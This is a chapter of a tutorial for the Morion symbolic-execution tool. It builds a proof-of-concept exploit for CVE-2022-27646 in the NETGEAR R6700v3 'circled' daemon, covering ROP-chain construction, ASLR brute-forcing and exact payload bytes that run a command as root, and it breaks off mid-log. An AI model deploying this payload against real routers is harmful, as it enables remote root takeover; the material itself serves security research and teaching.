Files

45 KiB

Table of Contents

  1. Introduction
  2. Setup
  3. Emulation
  4. Tracing
  5. Symbolic Execution
  6. Vulnerability CVE-2022-27646
  7. Exploitation
    1. Analysis Module morion_control_hijacker
      1. Vulnerability Characteristics
      2. Exploit Strategy
        1. Non-Executable (NX) Stack
        2. Position-Independent Executable (PIE)
        3. Address Space Layout Randomization (ASLR)
      3. Payload Generation
      4. Run PoC Exploit
    2. Analysis Module morion_rop_generator
      1. Payload Generation
      2. Run PoC Exploit
    3. Getting a Reverse Shell
      1. Stage-0 Payload
      2. Stage-1 Payload
      3. Run Final Exploit
    4. Conclusion

Exploitation

In this final chapter, we will show the usage of two analysis modules provided by Morion, morion_control_hijacker and morion_rop_generator (see also Symbolic Execution: Analysis Modules). We will explain how they might first help us to build a proof-of-concept (PoC) exploit, which we can then turn into a more powerful exploit, giving us a reverse shell on the targeted devices.

The first module, morion_control_hijacker, allows us to detect situations, where registers that might influence the control-flow (typically the pc register), get a value assigned that relies on a symbolic variable. When symbolic variables are assigned to inputs an attacker controls, the module helps to identify and reason about control-flow hijacking conditions.

Afterwards, we will motivate the usage of a Return Oriented Programming (ROP) chain for our exploit to work. Morion's second module mentioned in this chapter, morion_rop_generator, might assist us in building one, given the actual restrictions we might have. We can give it as inputs a candidate ROP chain (list of ROP gadgets), as well as a list of preconditions that must be fulfilled (such as [sp+32] == 0xb8). The module then determines whether such a candidate chain is feasible or not, and if so, what the attacker-controllable inputs must be to trigger it.

Analysis Module morion_control_hijacker

In the following, we use and analyze the concrete execution trace we recorded in Tracing: Run. Remember that the trace was stored to a file named circled.yaml and recorded the instructions of binary circled, while it processed the file circleinfo.txt. The file circleinfo.txt contained the proof-of-vulnerability (PoV) payload "A"*1021 + " X".

Vulnerability Characteristics

Let us start by using Morion's analysis module morion_control_hijacker, with the aforementioned trace as input.

$ morion_control_hijacker circled.yaml
[...]
[2024-08-21 07:36:21] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
[2024-08-21 07:36:21] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
[2024-08-21 07:36:21] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[2024-08-21 07:36:21] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.

                      _                   _          _ _ 
 _ __ ___   ___  _ __(_) ___  _ __    ___| |__   ___| | |
| '_ ` _ \ / _ \| '__| |/ _ \| '_ \  / __| '_ \ / _ \ | |
| | | | | | (_) | |  | | (_) | | | | \__ \ | | |  __/ | |
|_| |_| |_|\___/|_|  |_|\___/|_| |_| |___/_| |_|\___|_|_|
            
Investigate potential control hijack...

Available objects:
- ctx
- ast

Type quit, exit or CTRL-d to leave the interpreter.

In [1]:

Morion stops after the pop instruction at address 0xcf24 and prints the message Potential control hijack due to unrestricted register 'pc'. This means that register pc is based on some symbolic variable(s), i.e. in our specific example, is somehow influenced by contents originating from file circleinfo.txt. Morion entered an interactive (Python) shell that allows us to further investigate the observed situation. For instance, we can perform a first simple check to see, whether we can effectively set the pc to a different value:

In [1]: pc_ast = ctx.getRegisterAst(ctx.registers.pc)

In [2]: model  = ctx.getModel(pc_ast == 0xa1a2a3a4)

In [3]: pprint(model)
{
  392: 5132;;0xbeffca9c;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+392:8 = 0xa4,
  393: 5132;;0xbeffca9d;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+393:8 = 0xa3,
  394: 5132;;0xbeffca9e;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+394:8 = 0xa2,
  395: 5132;;0xbeffca9f;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+395:8 = 0xa1
}

The first statement [1] accesses the Abstract Syntax Tree (AST) representation of register pc. In the second statement [2], we ask the symbolic execution engine (Triton in our case) for a model (or solution) to the expression pc_ast == 0xa1a2a3a4. In other words, we ask what to do, to let the program flow to address 0xa1a2a3a4. In statement [3], we then print a solution, if such a one exists. Among others, the output of [3] tells us the following:

  • The bytes we need to modify belong to a string s that was read from file stream 0x21a90 using libc function fgets.
  • We need to modify 4 bytes at string offsets 392, ..., 395 to the values 0xa4, ..., 0xa1.

Note: File stream 0x21a90 corresponds to file circleinfo.txt, as explained before.

Note: ctx and ast, as used above, correspond to the objects TritonContext and AstContext, respectively. The documentation of all Python bindings provided by libTrition is available here.

We can finish our initial manual investigation by typing quit [4]. At the end of the symbolic trace execution, Morion lists us a summary about the symbolic state. This gives a quick overview about which registers and memory locations we might control at the end of the recorded trace.

In [4]: quit

[...]
[2024-08-21 07:39:39] [ERRO] Not terminated at a stop address: pc=0x41414140
[2024-08-21 07:39:39] [INFO] ... finished symbolic execution (pc=0x41414140).
[2024-08-21 07:39:39] [INFO] Start analyzing symbolic state...
[2024-08-21 07:39:39] [INFO] Symbolic Regs:
[2024-08-21 07:39:39] [INFO] 	pc=$$$$$$$$
[2024-08-21 07:39:39] [INFO] 	r10=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r11=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r4=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r5=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r6=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r7=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r8=$$$$$$$$
[2024-08-21 07:39:40] [INFO] 	r9=$$$$$$$$
[2024-08-21 07:39:40] [INFO] Symbolic Mems:
[2024-08-21 07:40:16] [INFO] 	0xbeffc914=$$
[2024-08-21 07:40:16] [INFO] 	...
[2024-08-21 07:40:16] [INFO] 	0xbeffcd12=$$
[2024-08-21 07:40:16] [INFO] 	0xbeffce14=$$
[2024-08-21 07:40:16] [INFO] 	0xbeffcf14=$$
[2024-08-21 07:40:16] [INFO] 	...
[2024-08-21 07:40:16] [INFO] 	0xbeffd310=$$
[2024-08-21 07:40:16] [INFO] ... finished analyzing symbolic state.
[2024-08-21 07:40:16] [INFO] Start storing file 'circled.yaml'...
[2024-08-21 07:40:18] [INFO] ... finished storing file 'circled.yaml'.

Note: Symbolic memory 0xbeffc914 - 0xbeffcd12 corresponds to the stack buffer read by function 1) fgets, as shown in Figure 5.4. Addresses 0xbeffce14 and 0xbeffcf14 correspond to arg2 and arg1, the arguments of function 2) sscanf.

At this point, we learned that registers r4-r11, as well as the pc are based on symbolic variables that an attacker might control. We verified that we can modify the pc to point to another value. Further we got an intuition about the memory layout relevant for our exploit.

DEMO Exploitation/Analysis_Module_morion_control_hijacker/Vulnerability_Characteristics - Click the image below to watch on YouTube: Demo Video

Exploit Strategy

With the intention to develop an exploit strategy, let us now inspect some security properties of binary circled. For instance, we can do so by using the open-source tool checksec (here outside pwndbg):

pwndbg> checksec
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

Non-Executable (NX) Stack

Most relevant for us, we see that the binary circled has a non-executable (NX) stack. For our exploit strategy, this means that we cannot just write instructions to the stack and redirect execution to them. Instead, we will use a typical strategy to defeat NX memory, namely, by using a technique commonly referred to as Return Oriented Programming (ROP). In ROP, one executes carefully chosen instruction sequences (so called ROP gadgets) that are already present in the binary's executable memory.

In our exploit, we will use a simple ROP chain that calls libc function system with a controlled argument (command string to be executed). The corresponding chain is depicted in Figure 6.1 below:


ROP Chain
Figure 6.1: ROP Chain - ROP chain calling the libc function system with a controlled argument.

Gadget 0 corresponds to the pop instruction at address 0xcf24 that we investigated above in section Exploitation: Vulnerability Characteristics. We have seen that, due to the stack buffer overflow, we control the value that is popped from the stack and put into register pc. We will try to make this value become 0xc9b8, so that control eventually transfers to gadget 1. This is formally stated by Precondition 0.0 in Figure 6.1 (pc == [sp+8*4] == 0xc9b8).

As gadget 1, we choose one that consists of the following two instructions:

  • mov r0, r6: Move the value of register r6 (that, as we learned before, is based on a symbolic variable) to register r0.
  • bl #0x94a0 <system@plt>: Call function system from libc (r0 contains the command string argument - synopsis: int system(const char *command)).

With Preconditions 1.1 we define the command string (cmd[0] == 0x69 'i', cmd[1] == 0x64 'd', ...) we intend to execute, and on what stack address (r6 == r0 == cmd == 0xbeffc914+396 == 0xbeffcaa0) it should be placed. As we will see below, for the PoC exploit we use the command id>/id;#, which, when executed, writes the user id of the targeted binary to a file. To understand why we put the command at address 0xbeffcaa0, consider again the memory layout shown in Figure 5.4. The address corresponds to a stack area read in by function fgets and immediately follows the 4 bytes where the address of gadget 1 need to be placed (as we will also see later on). We choose this stack area, since it allows to contain a command string of up to 625 characters.

On the one hand, this ROP chain is simple to understand, suitable to demonstrate some features of Morion, and yet powerful enough to start a reverse shell on the targeted device (as we will see in a moment). On the other hand, though, it will crash the binary after function system returns, since we do not properly clean up the call stack. For us this is not a problem, since the binary circled restarts after a crash. However, in the more general sense, a crashing binary might lead to alerts, which threat actors typically want to avoid.

Note: Several (open-source) tools (such as ropper or ROPgadget) exist to help find suitable ROP gadgets in your targets.

Position-Independent Executable (PIE)

As can also be seen in the output of checksec above, the binary circled is not a Position-Independent Executable (PIE). Its code is therefore always loaded at virtual memory address 0x8000. With respect to our ROP chain this means that gadget 1 is always found at address 0xc9b8. Hardcoding this address as a jump target should therefore be fine.

Address Space Layout Randomization (ASLR)

Another relevant protection measure to discuss, is Address Space Layout Randomization, or ASLR for short. As opposed to NX and PIE, which are properties of the binary circled itself, ASLR is a system, respectively kernel feature. The NETGEAR R6700v3 routers that we target, make use of partial (or conservative) ASRL (as we also configured it in our setup). This means that components such as shared libraries, stack, heap, mmap and VDSO are randomized, i.e. loaded at different addresses at each run.

With respect to our targeted ROP chain (as depicted in Figure 6.1), this means that we cannot put our intended command string at a fixed stack address (such as 0xbeffcaa0). Or to be more precise, we can, but in most execution runs, the fixed address will not match the memory location where our command resides. Important however is the term in most execution runs. This means that occasionally, the fixed address will be correct (or sufficiently nearby) and the placed command will successfully be executed by the system function. Since, and as we have already mentioned, the binary circled restarts after our ROP chains crashed it, we have (theoretically) unlimited tries to match the correct address. In other words, we are going to use stack address brute-forcing to defeat ASLR.

Payload Generation

Now that we have developed an exploit strategy, let us next create a simple proof-of-concept (PoC) exploit. To do so, we go back to the interactive (Python) shell, as provided by morion_control_hijacker. Instead of manually typing individual commands, we create a Python script and run it inside of Morion's shell (with run -i <script>). The first script that we run, is circled.rop1.py and looks like this:

[...]
# Preconditions
g0_sp_val  = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast  = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val  = 0xc9b8

# Solve preconditions
model = ctx.getModel(g0_pc_ast  == g0_pc_val)
pprint(model)

Note: Remember that the symbolic execution is at the state where the instruction 0xcf24: pop {..., pc} has been executed last.

We start by modelling Precondition 0.0. To do so, we first get the concrete value of register sp, as it was before executing the pop instruction. Using this stack pointer value, we then access the AST representation of the memory location that will be popped to the pc. Then we ask the symbolic execution engine for a solution, such that the pc is equal to 0xc9b8, the address of gadget 1 as discussed before. We run circled.rop1.py in Morion's shell as shown below:

$ morion_control_hijacker circled.yaml

[...]
[2024-08-21 07:45:15] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc      #                                                 
[2024-08-21 07:45:15] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00      #                                                 
[2024-08-21 07:45:15] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}#                                                 
[2024-08-21 07:45:15] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.
[...]

In [1]: run -i circled.rop1.py
{
  392: 5132;;0xbeffca9c;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+392:8 = 0xb8,
  393: 5132;;0xbeffca9d;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+393:8 = 0xc9,
  394: 5132;;0xbeffca9e;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+394:8 = 0x0,
  395: 5132;;0xbeffca9f;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+395:8 = 0x0
}

The printed solution tells us to set the bytes at offsets 392-395 in file circleinfo.txt to the values \xb8\xc9\x00\x00.

Next we have to extend circled.rop1.py with Preconditions 1.1, corresponding to the system command we aim to run. The extended file, circled.rop2.py, looks like this:

[...]
# System command
cmd         = "id>/id;#"
cmd_addr    = 0xbeffcaa0

# Preconditions
g0_sp_val  = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast  = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val  = 0xc9b8
g0_r6_ast  = ctx.getMemoryAst(MemoryAccess(g0_sp_val+2*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_r6_val  = cmd_addr
g0__r6_ast = ctx.getMemoryAst(MemoryAccess(cmd_addr, 4*CPUSIZE.DWORD))
g0__r6_val = int.from_bytes(bytes(cmd, "UTF-8"), byteorder="little")

# Solve preconditions
model = ctx.getModel(ast.land([
                g0_pc_ast  == g0_pc_val,
                g0_r6_ast  == g0_r6_val,
                g0__r6_ast == g0__r6_val,
            ]))
pprint(model)

We first access the AST representation of register r6 and require it to be equal to 0xbeffc250. Then we access the AST representation of the memory at this address (here 16 bytes in size) and require it to match our PoC command string id>/id;#. Finally, the symbolic execution engine is asked to print us a potential solution fulfilling all the specified conditions. We run script circled.rop2.py in Morion's shell like shown below:

$ morion_control_hijacker circled.yaml

[...]
[2024-08-21 07:45:15] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc      #                                                 
[2024-08-21 07:45:15] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00      #                                                 
[2024-08-21 07:45:15] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}#                                                 
[2024-08-21 07:45:15] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.
[...]

In [2]: run -i circled.rop2.py
{
   368:  5132;;0xbeffca84;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+368:8 = 0xa0,
   369:  5132;;0xbeffca85;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+369:8 = 0xca,
   370:  5132;;0xbeffca86;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+370:8 = 0xff,
   371:  5132;;0xbeffca87;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+371:8 = 0xbe,
   392:  5132;;0xbeffca9c;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+392:8 = 0xb8,
   393:  5132;;0xbeffca9d;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+393:8 = 0xc9,
   394:  5132;;0xbeffca9e;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+394:8 = 0x00,
   395:  5132;;0xbeffca9f;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+395:8 = 0x00,
  1419: 15451;;0xbeffcaa0;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+396:8 = 0x69,
  1420: 15451;;0xbeffcaa1;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+397:8 = 0x64,
  1421: 15451;;0xbeffcaa2;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+398:8 = 0x3e,
  1422: 15451;;0xbeffcaa3;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+399:8 = 0x2f,
  1423: 15451;;0xbeffcaa4;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+400:8 = 0x69,
  1424: 15451;;0xbeffcaa5;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+401:8 = 0x64,
  1425: 15451;;0xbeffcaa6;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+402:8 = 0x3b,
  1426: 15451;;0xbeffcaa7;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+403:8 = 0x23,
  1427: 15451;;0xbeffcaa8;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+404:8 = 0x00,
  1428: 15451;;0xbeffcaa9;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+405:8 = 0x00,
  1429: 15451;;0xbeffcaaa;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+406:8 = 0x00,
  1430: 15451;;0xbeffcaab;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+407:8 = 0x00,
  1431: 15451;;0xbeffcaac;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+408:8 = 0x00,
  1432: 15451;;0xbeffcaad;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+409:8 = 0x00,
  1433: 15451;;0xbeffcaae;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+410:8 = 0x00,
  1434: 15451;;0xbeffcaaf;model;fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90);s+411:8 = 0x00
}

Like before, Morion gives us a solution for our problem, i.e. tells us how to choose the contents of file circleinfo.txt to make the exploit work. We implemented the above solution as a payload that circled.server.py serves when launched with command-line argument --payload "poc1":

[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "poc1":
    p  = b"A"*368
    p += b"\xa0\xca\xff\xbe"
    p += b"B"*20
    p += b"\xb8\xc9\x00\x00"
    p += b"\x69\x64\x3e\x2f"
    p += b"\x69\x64\x3b\x23"
    p += b"C"*617
    p += b" X"
[...]

DEMO Exploitation/Analysis_Module_morion_control_hijacker/Payload_Generation - Click the image below to watch on YouTube: Demo Video

Run PoC Exploit

Use the following steps to run the binary circled, while it is targeted with the proof-of-concept (PoC) payload:

  1. Start a HTTP server, delivering the PoC payload:
    • System: ARMHF Guest
    • Command:
      python3 ./server/circled.server.py --payload "poc1"
      
  2. Emulate the binary circled with GDB attached (and therefore not using ASRL):
  3. Debug the binary circled:
    • System: Analysis / Host (morion)
    • Command:
      cd morion/                               # Ensure to be within the correct directory
      gdb-multiarch -q -x circled.debug.gdb    # Use GDB for cross-platform remote debugging
      

When using the above steps, we will break at address 0xcf24. We can now validate that our exploit works as intended (here using pwndbg):

    [...]
    ► 0xcf24    pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc}
    [...]

pwndbg> stepi
    [...]
    ► 0xc9b8    mov    r0, r6
      0xc9bc    bl     #system@plt                       <system@plt>
    [...]

pwndbg> x/s $r6
    0xbeffc250:	"id>/id;#", 'C' <repeats 192 times>...

pwndbg> continue
    [...]

If the PoC exploit worked, you will find a file /id on the emulated router (System: ARMHF Guest (chroot)) with the content uid=0 gid=0(root).

DEMO Exploitation/Analysis_Module_morion_control_hijacker/Run_PoC_Exploit - Click the image below to watch on YouTube: Demo Video

Analysis Module morion_rop_generator

The above process of getting a payload for the intended ROP chain is rather cumbersome, since we need to access register and memory ASTs manually, in order to define the required model restrictions. That is where the module morion_rop_generator comes into play.

Payload Generation

Module morion_rop_generator allows us to define the intended ROP chain within the trace file and does the rest automatically. For instance, we can include our ROP chain (depicted in Figure 6.1) in the file circled.yaml as shown below:

[...]
ropchains:
  default:
    - preconditions:
        mems:
          '[sp+32+0]': '0xb8' # pc == [sp+8*4] == 0x0000c9b8
          '[sp+32+1]': '0xc9'
          '[sp+32+2]': '0x00'
          '[sp+32+3]': '0x00'
      instruction:
        ['0x0000cf24', 'f0 8f bd e8', 'pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}', 'Gadget 0.0']
    - preconditions:
      instruction:
        ['0x0000c9b8', '06 00 a0 e1', 'mov r0, r6', 'Gadget 1.0']
    - preconditions:
        regs:
          'r0': '0xbeffcaa0'    # r0 == 0xbeffc914+396 == 0xbeffcaa0
        mems:
          '0xbeffcaa0': '0x69'  # 'i'
          '0xbeffcaa1': '0x64'  # 'd'
          '0xbeffcaa2': '0x3e'  # '>'
          '0xbeffcaa3': '0x2f'  # '/'
          '0xbeffcaa4': '0x69'  # 'i'
          '0xbeffcaa5': '0x64'  # 'd'
          '0xbeffcaa6': '0x3b'  # ';'
          '0xbeffcaa7': '0x23'  # '#'
          '0xbeffcaa8': '0x00'  #
      instruction:
        ['0x0000c9bc', 'b7 f2 ff eb', 'bl #0x94a0', 'Gadget 1.1']

Note: A trace file can include different ROP chains, differentiated by name. The ROP chain included in the above file, for instance, has the name default.

As can be seen below, the module morion_rop_generator is run by giving the trace file (circled.yaml) and the name of the intended ROP chain (default) as command-line arguments. The module first symbolically executes the recorded trace and then tries to transfer control to the specified ROP chain. For each instruction in the ROP chain it then performs the following steps:

  • Load instruction's preconditions
  • Solve the loaded preconditions
  • Concretize the solution if one is found
  • Execute the instruction symbolically

If solutions for all the preconditions have been found and all instructions in the ROP chain have been processed, corresponding payloads are dumped.

$ morion_rop_generator circled.yaml default

[...]
[2024-08-21 08:02:39] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
[2024-08-21 08:02:39] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
[2024-08-21 08:02:39] [INFO] ... finished symbolic execution (pc=0x0000cf24).
[2024-08-21 08:02:39] [INFO] Start loading preconditions of instruction 0 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09c == 0xb8
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09d == 0xc9
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09e == 0x00
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09f == 0x00
[2024-08-21 08:02:39] [INFO] ... finished loading preconditions of instruction 0 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start solving preconditions of instruction 0 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Solution:
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9c: 0xb8 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+392]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9d: 0xc9 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+393]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9e: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+394]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9f: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+395]
[2024-08-21 08:02:39] [DEBG] 	0xbeffc914: 0xff [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+0]
[2024-08-21 08:02:39] [INFO] ... finished solving preconditions of instruction 0 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start concretizing preconditions of instruction 0 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09c: 0xb8
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09d: 0xc9
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09e: 0x00
[2024-08-21 08:02:39] [DEBG] 	0xbeffd09f: 0x00
[2024-08-21 08:02:39] [INFO] ... finished concretizing preconditions of instruction 0 in ROP chain 'default'...
[2024-08-21 08:02:39] [INFO] Start symbolic execution of instruction 0 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}     # Gadget 0.0
[2024-08-21 08:02:39] [INFO] ... finished symbolic execution of instruction 0 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start loading preconditions of instruction 1 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [INFO] ... finished loading preconditions of instruction 1 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start solving preconditions of instruction 1 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Instruction 1 of ROP chain 'default' has no preconditions.
[2024-08-21 08:02:39] [INFO] ... finished solving preconditions of instruction 1 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start concretizing preconditions of instruction 1 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [INFO] ... finished concretizing preconditions of instruction 1 in ROP chain 'default'...
[2024-08-21 08:02:39] [INFO] Start symbolic execution of instruction 1 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] 0x0000c9b8 (06 00 a0 e1): mov r0, r6                                   # Gadget 1.0
[2024-08-21 08:02:39] [INFO] ... finished symbolic execution of instruction 1 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start loading preconditions of instruction 2 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
[2024-08-21 08:02:39] [DEBG] 	r0 == 0xbeffcaa0
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa0 == 0x69
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa1 == 0x64
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa2 == 0x3e
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa3 == 0x2f
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa4 == 0x69
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa5 == 0x64
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa6 == 0x3b
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa7 == 0x23
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa8 == 0x00
[2024-08-21 08:02:39] [INFO] ... finished loading preconditions of instruction 2 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start solving preconditions of instruction 2 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Solution:
[2024-08-21 08:02:39] [DEBG] 	0xbeffca84: 0xa0 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+368]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca85: 0xca [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+369]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca86: 0xff [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+370]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca87: 0xbe [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+371]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9c: 0xb8 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+392]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9d: 0xc9 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+393]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9e: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+394]
[2024-08-21 08:02:39] [DEBG] 	0xbeffca9f: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+395]
[2024-08-21 08:02:39] [DEBG] 	0xbeffc914: 0xff [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+0]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa0: 0x69 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+396]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa1: 0x64 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+397]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa2: 0x3e [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+398]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa3: 0x2f [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+399]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa4: 0x69 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+400]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa5: 0x64 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+401]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa6: 0x3b [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+402]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa7: 0x23 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+403]
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa8: 0x00 [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+404]
[2024-08-21 08:02:39] [INFO] ... finished solving preconditions of instruction 2 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start concretizing preconditions of instruction 2 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] Regs:
